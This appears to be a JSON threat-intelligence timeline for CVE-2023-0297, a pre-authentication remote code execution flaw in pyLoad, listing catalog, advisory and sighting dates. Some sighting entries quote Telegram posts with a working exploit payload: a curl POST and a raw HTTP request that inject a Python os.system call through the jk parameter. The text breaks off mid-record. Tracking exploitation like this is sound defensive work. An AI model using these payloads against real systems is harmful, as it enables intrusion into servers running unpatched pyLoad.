{"metadata": {"vulnerability": "cve-2023-0297", "count": 57, "kinds": {"milestone": 5, "sighting": 26, "kev": 11, "other": 15}}, "data": [{"timestamp": "2023-01-14T00:00:00Z", "date_only": false, "value": "2023-01-14T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2023-0297", "field": "timestamps.asserted_at", "uuid": "97e0616a-22e1-486c-bf0a-8b71ebf2e83d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-14T00:00:00Z", "date_only": false, "value": "2023-01-14T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2023-0297", "field": "evidence.0.details.added_date", "uuid": "97e0616a-22e1-486c-bf0a-8b71ebf2e83d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-14T00:00:00Z", "date_only": false, "value": "2023-01-14T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2023-0297", "field": "timestamps.first_seen_at", "uuid": "97e0616a-22e1-486c-bf0a-8b71ebf2e83d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-14T00:00:00Z", "date_only": true, "value": "2023-01-14", "kind": "other", "label": "Pubdate", "source": "gsd \u00b7 GSD-2023-0297", "record": "GSD-2023-0297", "field": "namespaces.gitlab.com.advisories.0.pubdate"}, {"timestamp": "2023-01-14T00:00:00Z", "date_only": false, "value": "2023-01-14T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2023-0297", "field": "cveMetadata.datePublished"}, {"timestamp": "2023-01-14T00:00:00Z", "date_only": false, "value": "2023-01-14T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2023-0297", "field": "cveMetadata.dateReserved"}, {"timestamp": "2023-01-14T00:00:00Z", "date_only": false, "value": "2023-01-14T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2023-0297", "field": "status.status_updated_at", "uuid": "97e0616a-22e1-486c-bf0a-8b71ebf2e83d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-14T03:15:00Z", "date_only": false, "value": "2023-01-14T03:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-PF38-5P22-X6H6", "record": "GHSA-PF38-5P22-X6H6", "field": "database_specific.nvd_published_at"}, {"timestamp": "2023-01-14T03:15:00Z", "date_only": false, "value": "2023-01-14T03:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2023-0297", "record": "GSD-2023-0297", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2023-01-14T03:15:18.800Z", "date_only": false, "value": "2023-01-14T03:15:18.800", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-0297", "record": "FKIE_CVE-2023-0297", "field": "published"}, {"timestamp": "2023-01-14T03:30:21Z", "date_only": false, "value": "2023-01-14T03:30:21Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-PF38-5P22-X6H6", "record": "GHSA-PF38-5P22-X6H6", "field": "published"}, {"timestamp": "2023-01-17T10:44:03Z", "date_only": false, "value": "2023-01-17T10:44:03.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/n2KULA0ZDBe9JouPZU60255ZIS84-JTUnhcVpFqDs4kxwAQ", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "8c83cc53-188c-4b7b-91b8-2c7d7af3ac55"}, {"timestamp": "2023-01-17T10:49:34Z", "date_only": false, "value": "2023-01-17T10:49:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/1299", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "704277bc-5227-46e2-8077-ed981a30f821", "content": "CVE-2023-0297\nPre-auth RCE in pyLoad\nread\nExploit Code:\ncurl -i -s -k -X $'POST' \\\n    --data-binary $'jk=pyimport%20os;os.system(\\\"touch%20/tmp/pwnd\\\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \\\n    $'http:///flash/addcrypted2'", "url": "https://t.me/proxy_bar/1299"}, {"timestamp": "2023-01-21T12:55:20Z", "date_only": false, "value": "2023-01-21T12:55:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/7591", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "e4d36d54-9840-4fbd-8018-88cbb4fb2a5b", "content": "#exploit\n1. CVE-2022-41033:\nType confusion in Windows COM+ Event System Service\nhttps://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-41033.html\n\n2. CVE-2022-34718:\nDissecting and Exploiting TCP/IP RCE Vulnerability \"EvilESP\"\nhttps://securityintelligence.com/posts/dissecting-exploiting-tcp-ip-rce-vulnerability-evilesp\n\n3. CVE-2023-0297:\nPre-auth RCE in pyLoad\nhttps://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad", "url": "https://t.me/CyberSecurityTechnologies/7591"}, {"timestamp": "2023-01-21T13:09:37Z", "date_only": false, "value": "2023-01-21T13:09:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/crackcodes/2352", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "32b3c318-fb35-4710-93e3-7f1cb57864f1", "content": "#exploit\n1. CVE-2022-41033:\nType confusion in Windows COM+ Event System Service\nhttps://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-41033.html\n\n2. CVE-2022-34718:\nDissecting and Exploiting TCP/IP RCE Vulnerability \"EvilESP\"\nhttps://securityintelligence.com/posts/dissecting-exploiting-tcp-ip-rce-vulnerability-evilesp\n\n3. CVE-2023-0297:\nPre-auth RCE in pyLoad\nhttps://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad", "url": "https://t.me/crackcodes/2352"}, {"timestamp": "2023-01-25T22:03:48Z", "date_only": false, "value": "2023-01-25T22:03:48Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-PF38-5P22-X6H6", "record": "GHSA-PF38-5P22-X6H6", "field": "modified"}, {"timestamp": "2023-02-07T07:46:05Z", "date_only": false, "value": "2023-02-07T07:46:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/o3_G1kH0eCOq14fPcLdmWqCHGks7S_O_IkgWXXNR9LGsiFk", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "4f0d2a84-520f-48f9-b696-c9eaa8621336"}, {"timestamp": "2023-02-21T21:44:56Z", "date_only": false, "value": "2023-02-21T21:44:56.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/pyload_js2py_exec.rb", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "9892b92b-1ccb-4374-a725-9330b1f95f78", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/pyload_js2py_exec.rb"}, {"timestamp": "2023-03-11T12:03:59Z", "date_only": false, "value": "2023-03-11T12:03:59.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/alexredsec/314", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "0c22b43c-cc4f-4d7b-9ebe-1db795c87c17", "content": "\u0412\u044b\u0448\u043b\u0430 \u0442\u0440\u0435\u0442\u044c\u044f \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f Exploit Prediction Scoring System (EPSS). \u041f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \u0441\u0442\u0430\u043b\u0430 \u043d\u0430 82% \u043a\u0440\u0443\u0447\u0435. \u0415\u0441\u0442\u044c \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u043a\u043e\u043b\u044c\u043d\u0430\u044f \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043f\u0440\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, EPSS-\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0435 16 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0430 \u0430\u0436 1164. \u0415\u0441\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c  \u044d\u0442\u0438\u0445 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u044d\u0442\u043e \u043b\u0435\u0439\u0431\u043b\u044b \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432, \u043a\u0430\u043a \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435. \u041d\u043e \u0432\u044b\u044f\u0441\u043d\u044f\u0442\u044c \u043a\u0430\u043a \u043e\u043d\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0434\u0435\u043b\u043e \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043c\u0430\u043b\u043e\u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \"\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0443 \u043d\u0435\u0439 \u043d\u0435\u0439\u0440\u043e\u043d\u043a\u0430\" (c). \u0412 \u0446\u0435\u043b\u043e\u043c, \u043f\u043e \u0437\u0430\u043f\u0443\u0442\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 Tenable VPR. \u041d\u043e \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0451 \u0438\u0441\u043a\u0443\u043f\u0430\u0435\u0442. \ud83d\ude07 \u041a\u0441\u0442\u0430\u0442\u0438, \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442 Tenable VPR \u0438 \u043f\u0440\u043e\u0447\u0438\u0435 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u043a\u043e\u0440\u044b \u0438 \u043a\u0440\u0438\u0442\u0438\u043a\u0443\u044e\u0442 \u0438\u0445 \u0437\u0430 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0441\u0442\u044c, \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0431\u0430\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043d\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u043c \u043c\u043d\u0435\u043d\u0438\u0438, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u043e\u0433\u043b\u044f\u0434\u0435\u043b \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0443 EPSS \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445. \n1. \u0414\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Word-\u0430 (CVE-2023-21716) \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u043c PoC-\u043e\u043c EPSS \u043e\u0447\u0435\u043d\u044c \u0432\u044b\u0441\u043e\u043a\u0438\u0439 (0.16846,0.95168). \n2. \u0414\u043b\u044f SPNEGO (CVE-2022-37958), \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u0432 Q2, EPSS \u0442\u043e\u0436\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 (0.07896,0.93195). \n3. \u0414\u043b\u044f \u0440\u0430\u043d\u0434\u043e\u043c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 MS Edge (CVE-2023-0696) \u0438\u0437 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e MS Patch Tuesday (\u0438\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u043c\u0435\u0441\u044f\u0446), EPSS \u043d\u0438\u0437\u043a\u0438\u0439 (0.00062,0.24659)\n4. \u0412\u0437\u044f\u043b \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c EPSS \u0438\u0437 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 - CVE-2023-0297 (0.04128,0.90834). \u0422\u043e\u0436\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e \u043f\u043e\u0447\u0435\u043c\u0443, \u0442\u0430\u043c \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u044f\u043c\u043e \u0432 NVD.\n\n\u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0432\u0441\u0451 \u0432\u043f\u043e\u043b\u043d\u0435 \u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e. \ud83d\udc4d\n\n\u0422\u043e \u0435\u0441\u0442\u044c \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044e \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 EPSS \u044f \u0431\u044b \u043d\u0435 \u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u043b, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u043a\u0442\u043e\u0440 \u0441 \u0432\u0435\u0441\u043e\u043c \u043a\u0430\u043a \u0443 CVSS Base Score (\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438 \u043f\u043e\u0432\u044b\u0448\u0435) \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043f\u043e\u043b\u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043d\u043d\u044b\u043c. \u0421\u043e\u0432\u0441\u0435\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u044d\u0442\u0430 \u0446\u0438\u0444\u0438\u0440\u044c \u0432\u0432\u0435\u0440\u0445 \u0432\u0440\u044f\u0434 \u043b\u0438 \u043f\u043e\u043f\u043e\u043b\u0437\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0438\u0434\u0451\u0442 \u043a 0.9 \u0438 \u0432\u044b\u0448\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b \u043f\u043e\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435. \u041f\u043e\u0434\u0443\u043c\u044b\u0432\u0430\u044e \u043d\u0430\u0447\u0430\u0442\u044c \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c EPSS \u0432 Vulristics. \ud83d\ude09\n\n@avleonovrus #EPSS #TenableVPR #Tenable #Vulristics", "url": "https://t.me/alexredsec/314"}, {"timestamp": "2023-04-02T20:32:57Z", "date_only": false, "value": "2023-04-02T20:32:57.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/gT5_rH6SbQjCDL5CnTfdxn2Fj6qxX4lRf2Kzqc0ICHxoeYM", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "7ca711be-0691-45b0-9678-e5bd2fa14751"}, {"timestamp": "2023-05-20T00:25:52Z", "date_only": false, "value": "2023-05-20T00:25:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/LearnExploit/4579", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "55053a06-a29c-47a2-a82a-b8d357ac4744", "content": "CVE-2023-0297 ( The Story of Finding Pre-auth RCE in pyLoad )\n\nGithub\n\n#CVE #RCE #exploit \n\u2014\u2014\u2014\u2014\u2014\u2014\u200c\n0Day.Today\n@LearnExploit\n@Tech_Army", "url": "https://t.me/LearnExploit/4579"}, {"timestamp": "2023-05-23T18:34:10Z", "date_only": false, "value": "2023-05-23T18:34:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/2924", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "818102e1-b73c-4c92-82d0-68653526bfcf", "content": "Pre-auth RCE in pyLoad (CVE-2023-0297)\n\npyLoad - \u044d\u0442\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 OSS, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Python \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441. \u0412 \u043d\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043d\u0430\u0448\u043b\u0438 \u0432\u0443\u043b\u043d\u0443 \u0438 \u0437\u0430\u0440\u0435\u043f\u043e\u0440\u0442\u0438\u043b\u0438 \u043d\u0430 \u0431\u0431, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 js2py. \u041a\u0440\u0430\u0442\u043a\u043e \u044d\u0442\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f JS \u0432 Python \ud83d\ude01\n\n\u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval_js(), \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043c\u043e\u043c\u0435\u043d\u0442, \u0447\u0442\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 jk \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 JS \u043a\u043e\u0434. \u041b\u044e\u0434\u0438 \u043f\u043e\u043a\u043e\u0432\u044b\u0440\u044f\u043b\u0438\u0441\u044c \u0438 \u043f\u043e\u043d\u044f\u043b\u0438, \u0447\u0442\u043e \u0442\u0443\u0434\u0430 \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u043b\u044e\u0431\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443.\n\n\u041d\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0442\u0430\u043a\n\nPOST /amogus/test HTTP/1.1\nHost: \nContent-Type: application/x-www-form-urlencoded\n\njk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaa", "url": "https://t.me/poxek/2924"}, {"timestamp": "2023-05-24T00:00:00Z", "date_only": true, "value": "2023-05-24", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2023-0297", "field": "evidence.0.details.observation_date", "uuid": "c950e1e7-3635-4981-a945-4046a692eda7", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-05-24T04:48:05Z", "date_only": false, "value": "2023-05-24T04:48:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/monkey_hacker/73", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "cddb8370-23d0-4b61-a4a9-cd749c99c7e4", "content": "Pre-auth RCE in pyLoad (CVE-2023-0297)\n\npyLoad - \u044d\u0442\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 OSS, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Python \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441. \u0412 \u043d\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043d\u0430\u0448\u043b\u0438 \u0432\u0443\u043b\u043d\u0443 \u0438 \u0437\u0430\u0440\u0435\u043f\u043e\u0440\u0442\u0438\u043b\u0438 \u043d\u0430 \u0431\u0431, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 js2py. \u041a\u0440\u0430\u0442\u043a\u043e \u044d\u0442\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f JS \u0432 Python \ud83d\ude01\n\n\u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval_js(), \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043c\u043e\u043c\u0435\u043d\u0442, \u0447\u0442\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 jk \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 JS \u043a\u043e\u0434. \u041b\u044e\u0434\u0438 \u043f\u043e\u043a\u043e\u0432\u044b\u0440\u044f\u043b\u0438\u0441\u044c \u0438 \u043f\u043e\u043d\u044f\u043b\u0438, \u0447\u0442\u043e \u0442\u0443\u0434\u0430 \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u043b\u044e\u0431\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443.\n\n\u041d\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0442\u0430\u043a\n\nPOST /amogus/test HTTP/1.1\nHost: \nContent-Type: application/x-www-form-urlencoded\n\njk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaa", "url": "https://t.me/monkey_hacker/73"}, {"timestamp": "2023-06-14T00:00:00Z", "date_only": false, "value": "2023-06-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://www.exploit-db.com/exploits/51532", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "463d87d7-0425-49e7-876f-f62aeb73de4e", "url": "https://www.exploit-db.com/exploits/51532"}, {"timestamp": "2023-06-15T00:00:00Z", "date_only": true, "value": "2023-06-15", "kind": "other", "label": "Date", "source": "gsd \u00b7 GSD-2023-0297", "record": "GSD-2023-0297", "field": "namespaces.gitlab.com.advisories.0.date"}, {"timestamp": "2023-06-15T00:00:00Z", "date_only": false, "value": "2023-06-15T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / @huntrdev", "record": "cve-2023-0297", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-06-15T21:15:00Z", "date_only": false, "value": "2023-06-15T21:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2023-0297", "record": "GSD-2023-0297", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-08-09T11:07:16Z", "date_only": false, "value": "2023-08-09T11:07:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/838", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "d03520e1-5fe6-4919-99d5-df73da8ee208", "content": "pyload \u8fdc\u7a0b\u6267\u884c\nPython  -u url -c \"ls\"", "url": "https://t.me/CNArsenal/838"}, {"timestamp": "2023-11-12T11:42:19Z", "date_only": false, "value": "2023-11-12T11:42:19+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2023-0297", "field": "timestamps.asserted_at", "uuid": "c950e1e7-3635-4981-a945-4046a692eda7", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-11-12T11:42:19Z", "date_only": false, "value": "2023-11-12T11:42:19+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2023-0297", "field": "timestamps.first_seen_at", "uuid": "c950e1e7-3635-4981-a945-4046a692eda7", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-11-12T11:42:19Z", "date_only": false, "value": "2023-11-12T11:42:19+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2023-0297", "field": "timestamps.last_seen_at", "uuid": "c950e1e7-3635-4981-a945-4046a692eda7", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-11-12T11:42:19Z", "date_only": false, "value": "2023-11-12T11:42:19+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2023-0297", "field": "status.status_updated_at", "uuid": "c950e1e7-3635-4981-a945-4046a692eda7", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-12-13T01:20:22.406Z", "date_only": false, "value": "2023-12-13T01:20:22.406676Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2023-0297", "record": "GSD-2023-0297", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-02T05:10:54.945Z", "date_only": false, "value": "2024-08-02T05:10:54.945Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2023-0297", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-20T17:04:49Z", "date_only": false, "value": "2024-08-20T17:04:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/402", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "28070da9-74b4-4403-8d32-ba0e246a72c6", "content": "CVE-2023-0297\nPre-auth RCE in pyLoad\n\nExploit Code:\ncurl -i -s -k -X $'POST' \\\n    --data-binary $'jk=pyimport%20os;os.system(\\\"touch%20/tmp/pwnd\\\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \\\n    $'http:///flash/addcrypted2'\n\n#exploit #poc", "url": "https://t.me/CNArsenal/402"}, {"timestamp": "2024-10-04T12:04:54Z", "date_only": false, "value": "2024-10-04T12:04:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8671", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "453997bf-47eb-48b9-a7d1-6ed9b245240e", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aRCE in pyload prior to 0.5.0b3.dev31.\nURL\uff1ahttps://github.com/S4MY9/CVE-2023-0297\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/8671"}, {"timestamp": "2024-11-30T21:11:36Z", "date_only": false, "value": "2024-11-30T21:11:36.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/9270", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "b0e57b04-5a3d-474d-9219-fb965a2e4faa", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2023-0297 is a critical pre-authentication remote code execution (RCE) vulnerability in pyLoad versions before 0.5.0b3.dev31.\nURL\uff1ahttps://github.com/oxapavan/CVE-2023-0297\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/9270"}, {"timestamp": "2025-02-06T03:13:45Z", "date_only": false, "value": "2025-02-06T03:13:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "4440861d-8132-4256-a902-c25411a8125a"}, {"timestamp": "2025-02-23T04:10:50Z", "date_only": false, "value": "2025-02-23T04:10:50.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": 